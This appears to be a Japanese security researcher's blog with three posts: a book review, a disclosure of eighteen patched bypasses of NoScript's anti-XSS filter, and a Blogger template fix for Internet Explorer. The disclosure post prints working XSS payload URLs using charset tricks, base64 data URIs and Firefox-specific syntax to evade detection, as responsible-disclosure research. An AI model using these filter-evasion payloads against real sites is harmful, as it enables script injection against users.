2012/07/18

「めんどうくさいWebセキュリティ」を頂いた

めんどうくさいWebセキュリティ」、原著の「The Tangled Web」に僕の名前が掲載されているのをきっかけに、監修された上野さん(@sen_u)を通して、出版元である翔泳社様から献本して頂きました。ありがとうございます。



こういう人にオススメです。


・Webを隅々まで理解したい
・セキュリティに絡んだ、細かなブラウザの動きに興味がある
・自分の持っているブラウザ周辺のWebセキュリティ知識を確認したい

逆にこれからWebセキュリティを学びたい・手っ取り早くWebセキュリティの知識をつけたいという人にはお勧めできません。踏み込んだ話ばかりなので、最初に手に取るには細かすぎると思います。(徳丸本をどうぞ!)

この本では、URL/HTTP/HTMLなどのWebの構成要素を詳細に見ていくことで、ブラウザのセキュリティがどのように成り立っているかや、そこにどのようなセキュリティ問題が存在するかなどを説明しています。IEではこういう問題があるとか、ブラウザごとの実際の動きにまで、細かく言及しています。その細かさといえば、日本語の他の書籍では見た事がありません。

既知のWebの問題に対するアプリケーション側の対策方法はもちろんのこと、過去に解決されたWebのセキュリティ問題、現在も解決できていない問題なども取り上げられ、つぎはぎだらけで今にも壊れてしまいそうなWebの現状を根本から伝えてくれています。1つのWebアプリケーションのセキュリティを強固にするためにも役立ちますが、Webとブラウザのセキュリティの将来まで考えさせられるような、そんな本です。僕はとても面白かったです!知らないこともたくさんあり、勉強になりました。


余談

じっくり読んだので、その過程で本の中に結構な量の間違いをみつけました。現在掲載されているこの本の正誤表は2012年7月9日の更新現在全て僕が報告したものです。(報告したものの、まだ掲載されていない分が10件ほどあります)

http://www.shoeisha.co.jp/book/errata/14478/list

些細な間違いばかりなので、読む分にはそこまで問題ないと思いますが、お手元にある方は確認してみてください。

余談2

誤植の報告のついでに出版元である翔泳社のウェブサイトのセキュリティ問題を複数ご報告したところ、謝礼として、お手紙と5000円分のアマゾンギフト券を送って頂きました。めんどうくさいKinugawaに付き合って頂きありがどうございます。

連絡

セキュリティに関する本は大体欲しいしよく買っているので、献本して頂けるのは本当に嬉しいです。Webアプリケーションセキュリティでなくてもセキュリティ技術、もっと広くいえばコンピュータ関連は大抵関心がありますので、献本してやるよという人は、ぜひください!次の献本をお待ちしております。

2012/07/08

NoScriptのAnti-XSS機能のバイパス18個

 FirefoxのアドオンであるNoScriptに備わっているXSS防止機能の、これまでに僕が報告した、対策された迂回方法を公開します。


1. v2.3.2rc2で修正

http://vulnerabledoma.in/char_test?charset=iso-2022-jp&body=%3Cifr%1B%28Jame%20o%1B%28Jnload=aler%1B%28Jt%281%29%3E

ISO-2022-JPでエンコードされたページまたは自動選択でISO-2022-JPが選択されたページで、NoScriptが反応する文字列中にISO-2022-JPで無視されるバイト列を挟むことで検出を回避できました。


2. v2.3.2rc3で修正

http://l0.cm/noscript/

単純にイベントハンドラの検出のバグです。URL中に()が入ると弾かれるので、location.href=window.nameでURL中に()を含めないようにし、さらにwindow.name中に()が入っていても検出されるので、window.name中の()をパーセントエンコードすることで回避できました。


3. v2.3.2rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ch1%20/onmouseover=%22eval%28%27alert%28location%27%2B%27%29%27%29%3B%22%3Exxx

単に「/」がついたイベントハンドラの検出のバグです。


4. v2.3.2rc5で修正

http://vulnerabledoma.in/char_test?charset=hz-gb-2312&body=%3Ch1%20o~%0Anmouseover=%22ale~%0Art%281%29%22%3Exxxxx


ISO-2022-JPの方法と同じように、エンコーディング「HZ-GB-2312」で無視される文字列を使い検出を回避しました。

追記--------------------------

あ!これ今見たら動かないですね!Firefox12のこのときに無視されないようになったみたいです。

------------------------------


5. v2.3.5rc1で修正

http://l0.cm/noscript2/

javascriptスキームのリンク中の「name」文字列の検出のバグです。クリックするとnameの中身が文字列でかえってくるので、nameにスクリプトタグを書いた文字列を設定しています。
(※ここからリンクを作成することで回避する方法を いくつか紹介しますが、なぜ危険なスキームをチェックして検出しないのかと思うかもしれません。NoScriptは、誤検出を減らすためか、任意のスク リプトを実行できてしまいそうな危険なものは検出されますが、javascriptスキームやdataスキームのリンクが全く作れないほどは制限されていないようです。)


6. v2.3.5rc2で修正

http://l0.cm/noscript3/

「\u006Eame」と表記することで「name」という文字列の検出を回避できていました。
さらにwindow.nameの中身のチェックが厳しくなったので、window.nameを設定するタイミングをずらして回避しました。


7. v2.3.6rc2で修正

http://l0.cm/noscript4/

「feed:」を先頭につけた攻撃URLをフレームに埋め込むと、検出を回避できていました。


8. v2.4.1rc1で修正

http://l0.cm/noscript5/

<script>タグ内に動的生成された文字列中でも、「\u006Eame」とすることでnameの検出を回避できていました。
(※NoScriptは<script>タグ内に動的生成された文字列から生じるXSSでも、ある程度検出できるようにしているようです。ここからいくつかそのタイプのバイパスが出てきます。)


9. v2.4.5rc1で修正

http://vulnerabledoma.in/xss_js?q=%22-alert%A51%A4-%22

http://vulnerabledoma.in/char_test?body=%3Ca%20href=javascript:alert%A51%A4%3Eaaa

ソーシャルエンジニアリングによりARMSCII-8というエンコーディングに変更させることで、0xA5が「(」、0xA4が「)」となり、 0x28/0x29を使わずにカッコを埋め込むことができ、検出を回避してJavaScriptを実行させることができていました。ARMSCII-8はもはや使われていないエンコーディングのため、ARMSCII-8へのエンコーディングの切替えができないようにNoScript側で変更されました。ちなみに、過去にUTF-7でも同じ措置をとったという話をききました。
(※このARMSCII-8のような、別のバイトにASCIIの範囲の文字が現れる文字エンコーディングがいくつかあります。この調査を以前したので、いずれ結果を載せたいと思います。)


10. v2.4.5rc1で修正

http://l0.cm/noscript6/

/a/.source というような表記と、window.nameを組み合わせることで、回避できていました。


11. v2.4.5rc2で修正

http://l0.cm/noscript7/

E4Xとlocation.hashとwindow.nameを組み合わせることで、回避できていました。


12. v2.4.5rc3で修正

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href=location.hash[1]%2Blocation.hash[2]%2Blocation.hash[3]%2Blocation.hash[4]%2Blocation.hash[5]%2Blocation.hash[6]%2Blocation.hash[7]%2Blocation.hash[8]%2Blocation.hash[9]%2Blocation.hash[10]%2Blocation.hash[11]%2Blocation.hash[12]%2Blocation.hash[13]%2Blocation.hash[14]%2Blocation.hash[15]%2Blocation.hash[16]%2Blocation.hash[17]%2B281%2Blocation.hash[17]%2B29//#javascript:alert%

1文字ずつアクセスすることで、検出を回避できていました。

13. v2.4.5rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:text/html%3Bbase64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVrYjIxaGFXNHBQQzl6WTNKcGNIUSsiPkNsaWNr%22%3EClick

dataスキームのリンクにbase64で2重にエンコードした文字列を使用することで、検出を回避できていました。


14. v2.4.5rc5で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:x%3Bb%20ase64,P%20HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%22%3EClick

dataスキーム中のbase64文字列の間にあるスペース(0x20)を無視するFirefoxの挙動を利用して、検出を回避できていました。


15. v2.4.5rc6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%20each%28location%20in%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%28location%20of%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

for each-in/for-of文を使うことでlocationへの代入を行い、任意のJavaScript実行の検出を回避できていました。


16. v2.4.5rc7で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfunction::[%27location%27]=%27javascript%27%2B%27:alert%281%29%27//

function:: のような、Firefox特有の記法で回避できていました。


(v2.4.6で修正)

http://vulnerabledoma.in/xss_js?q=%22%3Bwith%28document%29{cookie=123}//

withを使用することで、任意のCookieのセットができていました。


17. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bx=%27javascript%27%2B%27:alert%281%29%27%3B//%E2%80%A8location=x//

U+2028/2029が改行と考慮されていなかったため、自ら書いた「//」のコメントアウトからそれらの文字列で抜けることで、検出を回避できていました。


18. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bcrypto.generateCRMFRequest%28%27CN=0%27,0,0,null,%27alert%281%27%2B%27%29%27,384,null,%27rsa-dual-use%27%29//

crypto.generateCRMFRequest()をeval()の代用とすることで、任意のJavaScript実行の検出を回避できていました。


以上です!

各ブラウザのAnti-XSS機能よりもNoScriptが特に優れている点は、問題が発見された時の対応の早さだと思います。NoScriptの開発者であるGiorgio氏は、どれもその日のうちにrc版をリリースしてくれるほど、熱心に対応してくれました。

皆さんも突破に挑戦して、報告してみてはいかがでしょうか!


参考文献:

7.  http://view.officeapps.live.com/op/view.aspx?src=http%3A%2F%2Futf-8.jp%2Fpublic%2F20120421%2Fmomiji.pptx hack#1

15. http://d.hatena.ne.jp/st4rdust/20110329/1301386042

16. http://sla.ckers.org/forum/read.php?24,28641,35101#msg-35101

18. http://www.slideshare.net/x00mario/the-future-of-web-attacks-confidence-2010/35

2012/07/02

BloggerをIEで見ると重たいのを解消する方法

セキュリティに関係する話ではありません。

最近気付いたことなんですが、このブログをIEで見ると、すごく重たかったです。(今は解消したはずです)
このブログはBloggerを利用していて、Bloggerに用意されているテンプレートをほとんどいじることなく、そのまま使っていたんですが、IE以外のブラウザではスムーズに動くのに、IE(正確にはIE7以上)だけはスクロールがカクカクするくらい重たかったです。(ついでに言うと、フッダの下に謎の無駄な空間ができていました。)

で、これ、なんでかなーって検索しても、重たくて悩んでいる人はいくらか見つかったんだけど、解決策がみつかりませんでした。テンプレートを変えれば軽くなると書かれているページはあったんですけど。

仕方がないので、何が悪いのかなーって自分で見ていったら、どうも条件付きコメントでIEだけ読み込んでいる「ieretrofit.js」というのに重たい原因があることがわかりました。
ひとまずこれを取り除いてみたところ、明らかに軽くなりました。最初からついているjsをとったら閲覧に問題が起きそうな気がしますが、取り除いた上でIEであれこれ操作してみましたが、特に問題なく動いている気がします。よし。

という訳で、 これを取り除きましたんで、IEをご使用の方々も、今日からこのブログの快適な閲覧ができるようになったんではないかと思います。IEの挙動やバグについてよく取り上げるくせに、今まで気付かなくてすみません!!!


一応、Bloggerをお使いでIEで重たくて悩んでいる方の役に立つかもしれないので、これの取り除き方を書いておきます。このjsが中でなにやってんのか全然見ていないので、はずして何か問題が起きても知りません。まぁ問題があったら戻せばいいので、ひとまずやってみましょう。

手順

まず、自分のブログのHTMLソースをみて「ieretrofit.js」の記述があるか確認しましょう。大抵は<title>タグの少し上くらいにあるはずです。もし記述があり、あなたのブログがIEで特に重たい場合は、試してみる価値があると思います。

新しいブログの管理画面から、テンプレート(Template)→HTMLの編集(Edit HTML)→続行(Proceed)を選択します。

以下の部分を探します。
<b:include data='blog' name='all-head-content'/>

この項目は、フィードやアイコン(favicon)などの、ブログのオプション的な情報を一度に表示するためのものみたいです。この中に例の重たいieretrofit.jsも含まれているので、以下の記述を追加し、おかしなことになってもあとですぐに戻せるように、コメントアウトするだけにしてどかしましょう。
<!--<b:include data='blog' name='all-head-content'/>-->
 これで軽くなりますが、これだけだと、フィードやアイコンなどの必要な情報まで取り除かれてしまうので、次に重たいjs以外の情報を書き足す必要があります。今コメントアウトした下くらいに、以下をコピー & ペーストしましょう。これで、重たいjs以外の全ての情報が元通りに挿入されると思います。

<meta expr:content='&quot;text/html; charset=&quot; + data:blog.encoding' http-equiv='Content-Type'/>
<script type='text/javascript'>//<![CDATA[
(function() { var a=window,c="jstiming",d="tick";var e=function(b){this.t={};this.tick=function(b,o,f){f=void 0!=f?f:(new Date).getTime();this.t[b]=[f,o]};this[d]("start",null,b)},h=new e;a.jstiming={Timer:e,load:h};if(a.performance&&a.performance.timing){var i=a.performance.timing,j=a[c].load,k=i.navigationStart,l=i.responseStart;0<k&&l>=k&&(j[d]("_wtsrt",void 0,k),j[d]("wtsrt_","_wtsrt",l))}
try{var m=null;a.chrome&&a.chrome.csi&&(m=Math.floor(a.chrome.csi().pageT));null==m&&a.gtbExternal&&(m=a.gtbExternal.pageT());null==m&&a.external&&(m=a.external.pageT);m&&(a[c].pt=m)}catch(n){};a.tickAboveFold=function(b){var g=0;if(b.offsetParent){do g+=b.offsetTop;while(b=b.offsetParent)}b=g;750>=b&&a[c].load[d]("aft")};var p=!1;function q(){p||(p=!0,a[c].load[d]("firstScrollTime"))}a.addEventListener?a.addEventListener("scroll",q,!1):a.attachEvent("onscroll",q);
 })();
//]]>
</script>
<meta content='true' name='MSSmartTagsPreventParsing'/>
<meta content='blogger' name='generator'/>
<link expr:href='data:blog.homepageUrl + &quot;favicon.ico&quot;' rel='icon' type='image/x-icon'/>
<link expr:href='data:blog.canonicalUrl' rel='canonical'/>
<data:blog.feedLinks/>
<!--[if IE]> <script> (function() { var html5 = ("abbr,article,aside,audio,canvas,datalist,details," + "figure,footer,header,hgroup,mark,menu,meter,nav,output," + "progress,section,time,video").split(','); for (var i = 0; i < html5.length; i++) { document.createElement(html5[i]); } try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {} })(); </script> <![endif]-->
<b:if cond='data:blog.url == data:blog.homepageUrl'>
   <link href='http://www.blogger.com/openid-server.g' rel='openid.server'/>
</b:if>
これで終わりです。保存して、IEで動作が軽くなったか、問題なく動くか、確かめてみてください。

他の方のBloggerのブログを見てまわって、同じ現象が起きるか確かめたところ、中にはieretrofit.jsを読み込んでいても重くないブログもあったので、テンプレートを変えたら問題が直ったという人がいたように、テンプレートによって問題が起きる場合と起きない場合があるのかもしれません。ひとまず僕のブログはこのようにしたところ、テンプレートを変えずに、スムーズにスクロールができるようになりました。
 
この方法ではなんらかの問題がある場合や、もっとスマートに解決できる方法があればコメントやTwitterなどでお知らせください。